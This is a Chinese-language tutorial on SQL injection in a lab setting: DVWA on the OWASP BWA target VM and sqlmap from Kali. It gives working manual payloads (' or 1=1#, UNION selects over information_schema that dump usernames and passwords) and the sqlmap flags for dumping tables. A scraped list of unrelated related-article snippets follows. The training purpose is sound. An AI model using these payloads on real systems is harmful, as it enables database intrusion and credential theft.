安全测试之sql注入

article/2025/7/15 5:17:29

目录

    • 1. 概述
      • 1.1 web安全渗透测试分类
        • web数据库安全(sql注入漏洞)
        • web应用服务器安全(文件上传漏洞,文件包含漏洞)
        • web客户端安全(XSS跨站攻击)
      • 1.2 sql注入原理
      • 1.3 sql注入危害
      • 1.4 sql注入实现方式
        • 手动实现sql注入
        • 工具自动实现sql注入
    • 2. 安全渗透环境搭建
    • 3. 实操
      • 3.1 预备知识
        • 操作数据库
        • 操作表
        • 基本语句-查询
        • UNION语句
        • 特殊库
        • sql注释
        • sql注入流程
      • 3.2 手动注入
        • 环境准备
        • 查找注入点
        • 逻辑或应用
        • 案例
        • 字段数限制
      • 3.3 自动注入
        • 工具
        • 搭建环境
        • sqlmap基本用法
        • 案例

1. 概述

1.1 web安全渗透测试分类

web数据库安全(sql注入漏洞)

web应用服务器安全(文件上传漏洞,文件包含漏洞)

web客户端安全(XSS跨站攻击)

1.2 sql注入原理

sql注入介绍

  1. sql注入在安全问题中排行榜首

  2. sql注入攻击是输入参数未经过滤,直接拼接到SQL语句中解析

  3. sql注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

原理

  1. 攻击者在页面提交恶意字符/代码
  2. 服务器未对提交参数进行过滤或过滤不足
  3. 攻击者利用拼接sql语句方式获取数据库敏感信息
# 通过sql注入的方式,可以得到user表中所有信息
select * from user where id = " or 1=1 --

1.3 sql注入危害

  1. 获取web网站数据库,数据泄露
  2. 用户数据被非法买卖
  3. 危害web应用安全

1.4 sql注入实现方式

手动实现sql注入

查找:注入点

输入:sql常用注入组合语法,进行注入

工具自动实现sql注入

工具:扫描注入点

输入:自动尝试各种组合语法

2. 安全渗透环境搭建

  1. VMware虚拟机软件
  2. 靶机:安装了很多已知漏洞的web应用程序,学习sql注入项目环境

靶机:https://sourceforge.net/projects/owaspbwa/files/1.2/,下载结束后解压,vmware中打开虚拟机,选择.vmx后缀的文件,虚拟环境安装结束后,用初始用户名密码登录,找到系统提供的登录地址,在浏览器中输入IP即可访问

请添加图片描述
请添加图片描述
3. 渗透机-kali,包含数百种工具(比如自动注入工具),可用于各种信息安全任务,例如渗透测试,安全研究

kali:https://www.kali.org/get-kali/#kali-virtual-machines

下载完成以后,解压,在vmware中,文件–扫描虚拟机–选择解压缩的文件夹,会自动定位到kali系统(.vmx文件),完成以后开启虚拟机

请添加图片描述

3. 实操

进入靶机,输入以下命令进入mysql环境

mysql -uroot -powaspbwa

3.1 预备知识

所有sql语句写完都必须加上;否则不会成功执行

操作数据库

# 查看所有数据库
show databases;# 使用库(use 库名;)
use dvwa;# 查看默认库/查看当前在哪个库下
select database();

请添加图片描述

操作表

# 查看当前库中的所有表
show tables;# 查看表结构
desc 表名;# 查看创建表的sql语句(\G表示字段以行的方式显示,不仅是这条语句可以在末尾使用\G,select也可以使用\G)
show create table users\G;# 查看当前登录数据库的用户是哪个
select user();

基本语句-查询

# 查询所有字段
select * from users;# 查询指定字段
select user,password from users;# 条件查询
select * from users where user='admin'# 逻辑与
select * from users where user='admin' and user_id= 6# 逻辑或
select * from users where user='adminn' or user_id= 5

UNION语句

sql注入漏洞的重点使用方式;将2条sql语句联合起来查询

  1. sql1 union sql2
  2. 两条sql语句查询字段数必须相同(如果字段数不同,则执行失败)
# union
select user, password from mysql.user;
union
select user, password from dvwa.users;
  1. 解决方法:使用数字代替列,猜测前面表的查询列数

sql注入漏洞,就是通过拼接union后语句实现获取数据库隐私信息
请添加图片描述

特殊库

介绍

库名:information_schema

作用:存储了mysql中所有库名、表名、列名,是mysql数据的字典(有点类似windows系统中的注册表)

应用:sql注入经常从此库中获取需要的库名、表名、字段名

关注:tables表记录了mysql库中所有的表(表名对应的库名);columns表记录了mysql库中所有表和列

操作

# 查看表
select * from information_schema.TABLES\G;
select * from information_schema.COLUMNS\G;# 关注字段
# 数据库名
TABLE_SCHEMA
# 表名
TABLE_NAME
# 列名
COLUMN_NAME
# show databases 效果在特殊库.TABLES表中如何获取?(一个库有许多表,所以需要去重)
select DISTINCT TABLE_SCHEMA from information_schema.TABLES\G;# show tables 效果在特殊库.TABLES表中如何获取?
select TABLE_NAME from information_schema.TABLES\G where TABLE_SCHEMA='dvwa';

sql注释

说明:注释语句不会被执行,在sql注入中可以将查询条件注释掉

#单行注释
#语法1(#文字)
select * from users; #查询users表所有信息
#语法2(-- 文字),必须有个空格
select * from users; -- 查询users表所有信息#多行注释(也可以作为单行注释来使用)
/*这是多行注释*/

使用sql注释获取用户名和密码

# $会自动拼接对应的字符串
select * from user where username=$user and password=$pwd# $user=admin#  $pwd=123# 上面的sql相当于下面这个,等价于不需要判断密码了
select * from user where username=admin# and password=123

sql注入流程

  1. 收集项目信息(操作系统、数据库类型、web服务器类型)
  2. 查找注入点(单引号、井号、转义符)
  3. 注入sql语句(#或者union)
  4. 获取数据库信息
  5. 破解数据库管理员账号密码
  6. 开始用sql-shell等工具登录并获取数据

3.2 手动注入

环境准备

说明:通过靶机web应用程序,联系手动注入

步骤:

  1. 启动靶机虚拟机
  2. 通过浏览器访问靶机
  3. 选择Damn Vulnerable Web Application
  4. 访问Owasp-dvwa项目(用户名密码都是admin)
  5. 选中sql注入应用程序(SQL Injection)

查找注入点

说明:主要采用单引号、转义字符\、以单引号为主

提交用户信息或id=处使用单引号测试

原理

# 后台程序sql语句
select first_name, last_name from users where user_id='$id';# 输入单引号',相当于将sql语句闭合,后面就可以附加其他逻辑条件了
select first_name, last_name from users where user_id=''';

逻辑或应用

说明:使用逻辑或来获取当前表所有信息

目的:获取当前表所有信息(通过以下输入方式只能获取用户名,结合union可以获取密码)

输入:’ or 1=1#

​ '闭合前面条件

​ #注释后面单引号
请添加图片描述

案例

需求:获取users表中所有用户名和密码

方案:使用union联合查询所有用户表语句

步骤:

  1. 猜测字段数
  2. 获取数据库名
  3. 获取数据库下所有的表
  4. 获取表中所有数据

猜测字段数

# 第一次猜测
union select 1## 第二次猜测
union select 1,2## 直到不报语法错误,确认结果有几个字段

获取数据库、表、列

# 获取当前数据库名
ID: ' union select 1, database()## 获取表
' union select table_name,1 from information_schema.tables where TABLE_SCHEMA='dvwa'## 获取列
' union select column_name,1 from information_schema.columns where TABLE_NAME='users'#

请添加图片描述
请添加图片描述
获取数据

# 获取单个字段数据
' union select user,1 from users## 获取2个字段
' union select user,password from users#

请添加图片描述

字段数限制

问题:后台sql默认查询字段数限制,注入时只能获取相同字段的数据

思路:使用concat函数(拼接多个字符串为一个字符串),concat(str1,str2,…)

# 获取users表中user_id,user,password,分为两列显示
select user_id, concat(user,password) from dvwa.users;# 以上查询出来的结果user和password连在一起显示不清晰,所以需要在中间加空格
select user_id, concat('user:',user,' password:',password) from dvwa.users;

请添加图片描述

# 获取多个字段
' union select user,concat(first_name, ' ', last_name, ' ', password) from users#

请添加图片描述

3.3 自动注入

利用工具代替人工去完成sql注入操作

工具

  1. sqlmap
  2. 一个开源渗透测试工具
  3. 自动检测和利用sql注入漏洞并接管数据库服务器

搭建环境

  1. http://sqlmap.org(需要自己下载,不用)

  2. 启动kali虚拟机(渗透机kali自带sqlmap工具(使用))

  3. 终端命令:sqlmap -h

sqlmap基本用法

命令:sqlmap 参数

参数:

# 扫描的url
-u# 自动处理提示信息即提示选项使用默认值(仅加以上2个参数,仍然会存在扫描url被重定向到登录请求的问题)
--batch# 附加cookie参数(解决以上参数没有解决的登录的重定向问题,F12调试可以找到cookie,复制)
--cookie

案例:

目标:使用sqlmap对OWAP应用注入获取users表中所有用户名和密码

环境:启动靶机、启动渗透机、url(http://靶机ip/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit#)

步骤:

  1. 扫描注入点(把靶机中的url复制到渗透机的终端中,作为url参数执行)
  2. 获取数据库名
  3. 获取表名
  4. 获取字段名
  5. 获取数据

案例

# sqlmap获取库名
# 查询当前web使用的数据库名
--current-db
# 指定数据库
-D# sqlmap获取表
# 查询指定库下所有表名(需要先用-D指定库名)
--tables
# 指定表(使用表时需要用-T指定)
-T# sqlmap获取列/字段
# 查询指定表下所有字段
--columns
# 指定字段名
-C# sqlmap获取数据
# 下载数据
--dump

请添加图片描述


http://chatgpt.dhexx.cn/article/Am6NU94p.shtml

相关文章

渗透测试之sql注入

原文地址 什么是SQL注入? SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事…

如何快乐地检测SQL注入

这估计大家也都发现了,测试SQL注入这种漏洞啊,又有WAF页面又没有明显的报错的情况下, 测试起来就是一个字,烦。 有waf: 我 and 11, 啪,它拦了。 我 order by, 啪,它拦了。 我 sleep(5), 啪,…

SQL注入(一)之原理与检测

一 SQL注入攻击原理 01 注射式攻击的原理 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击,他与操作系统、数据库类型、脚本语言类型无关总之一句话: 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。02 sql注入…

25显函数求导数

1、显函数求导数

人工智能之数学基础----隐函数求导和相关变化率

本章主要讲解隐函数求导和相关变化率,大家理解什么叫隐函数及其如何求导 隐函数求导 相关变化率 隐函数求导 首先我们来理清什么叫隐函数,讲解隐函数之前我们来讲显函数,因为隐函数是相对显函数而言的 y f ( x ) yf(x) yf(x)像这种函数中&am…

Python应用:画出任意二维函数的轨迹

一、提要 对于显函数,其曲线可以通过给出定义域和对应的函数值画出。然而对于一些隐函数,不能显式表达,其曲线如何画出?如果从定义域内,逐点求出函数值,然后画出点序就不是一个很好的主意。用计算方法求出所…

Matlab之函数绘图函数ezplot

一、功能 可以直接调用ezplot进行函数绘制 二、语法 1.ezplot(fun) 绘制表达式 fun(x) 在默认定义域 -2π < x < 2π 上的图形&#xff0c;其中 fun(x) 仅是 x 的显函数。 fun 可以是函数句柄、字符向量或字符串。 2.ezplot(fun,[xmin,xmax]) 绘制 fun(x) 在以下域…

隐函数作图

背景介绍 Matlab提供了一系列绘图函数&#xff0c;常见的包括绘制2D曲线的plot函数、绘制2D隐函数曲线的ezplot函数、绘制3D曲面的mesh和surf函数、绘制3D显函数曲面的ezmesh和ezsurf函数。值得注意的是&#xff0c;ez系列的绘图函数里只有ezplot是绘制隐函数曲线的&#xff0c…

基础30讲 第11讲 多元函数微分学

目录 综述1、基本概念1.1 平面点集邻域边界区域聚点 1.2 极限1.3 连续1.4 偏导数1.5 可微1.6 偏导数的连续性 2、多元函数微分法则2.1 链式求导法则2.2 隐函数存在定理&#xff08;公式法&#xff09; 3、多元函数的极值与最值3.1 概念3.2 无条件极值(数学公式计算只适用于2元)…

MATLAB符号函数绘制各种函数图像,ezplot()函数 ezplot3()函数

我们学习常遇见的函数种类有显函数&#xff0c;隐函数&#xff0c;参数方程三种&#xff0c;对于隐函数绘制图像比较麻烦&#xff0c;给大家介绍一种简单实用的一中画函数的方法。 函数介绍 二维曲线ezplot()函数 ezplot()函数用于绘制显函数&#xff0c;隐函数&#xff0c;…

9.5 隐函数求导法则

本篇内容我们说一下隐函数求导的法则&#xff0c;之前在初次接触导数的时候&#xff0c;我们有总结过一部分隐函数求导的内容&#xff0c;虽然和本篇的内容有一部分相似&#xff0c;但是可以再看一看用于对比理解。上正文。 一、概念阐明 1.什么叫隐函数&#xff1f; 形如F(x…

MATLAB绘图命令fimplicit绘制隐函数图形入门详解

一、fimplicit基本语法 数学上的一元函数可以分为显函数和隐函数两大类&#xff0c;显函数的优点是能够明显的看出来因变量和自变量之间的关系&#xff0c;也就是对应法则&#xff0c;但是隐函数往往无法看出对应法则&#xff0c;而且很多时候都不能轻松的转化为显函数。 fplot…

高数-隐函数求导

目录 什么是隐函数 一个方程&#xff0c;两个未知数 一个方程&#xff0c;三个未知数 方程组求偏导 隐函数求导一般有两种情形&#xff0c;一种是单个方程&#xff0c;另一种是方程组。下面来介绍这两种情形的求导方法。 什么是隐函数 首先我们要明确&#xff1a;什么是隐函…

数学分析 - 隐函数

简介&#xff1a;用多元函数&#xff08;隐函数中自变量和因变量同时存在的表达式的作为多元函数的表达式&#xff09;的思维来分析隐函数 隐函数的概念 || 定义&#xff1a;隐函数的定义&#xff08;一个多元函数F(x, y)构成的方程F(x, y) 0&#xff0c;隐含了一个隐函数yf(…

MATLAB二元隐函数绘图命令fimplicit3详解

一、引言 fimplicit3功能是绘制二元隐函数的曲面图形。 类似于一元函数分为显函数和隐函数&#xff0c;二元函数也有显函数和隐函数之分。形如zf(x,y)的二元函数称为显函数&#xff0c;而由三元方程f(x,y&#xff0c;z)0确定的二元函数称为隐函数。 二元函数对应的几何图形是空…

隐函数的求导

目录 隐函数的定义&#xff1a; 例题&#xff1a; 参数方程确定函数的导数 例题&#xff1a; 相关变化率 ​编辑 隐函数的定义&#xff1a; 有隐函数就有显函数&#xff0c;我们首先要了解显函数的定义&#xff1a; 隐函数&#xff1a; 例如&#xff1a; 对于有些隐函数&a…

4.1 显函数曲线的动画

例 4.1.1 作出幂函数 yx^k 的动画 (k从0.1变到3)。 解 输入以下命令&#xff1a; with(plots): K:30: a:0.1: L:seq(plot(x^(a*k), x0…4), k0…K): display(L, insequencetrue, scalingconstrained, tickmarks[2,2], view[-0.2…4, -0.2…4]); 输出动画&#xff1a; 例 4.1.2…

095: 复习习题 求导题型 Case1:显函数求导;Case2:隐函数求导;Case3:参数方程确定的函数

095: 复习习题 求导题型 Case1&#xff1a;显函数求导&#xff1b;Case2&#xff1a;隐函数求导&#xff1b;Case3&#xff1a;参数方程确定的函数

《高数》笔记 一

为什么学高数&#xff1f; 锻炼自己的思维&#xff0c;以防老年痴呆。 如何服用高等数学&#xff1f;&#xff08;学习方法&#xff09; 做题不盲目做&#xff0c;一点点增加难度&#xff0c;难题一定要自己做出来不急于求成知道答案&#xff0c;过程对你很重要。 课程目标…

2.1 显函数曲面

二元函数 zf(x, y) 的图形一般是曲面。 曲面 作图的基本格式&#xff1a; plot3d(f(x,y), xa…b, yc…d); 例 2.1.1 作出以下函数的图形 &#xff08;定义域是一个正方形区域&#xff09; 解 输入以下命令&#xff1a; plot3d(x^ 2y^2, x-2…2, y-2…2); 输出图形&#xff1…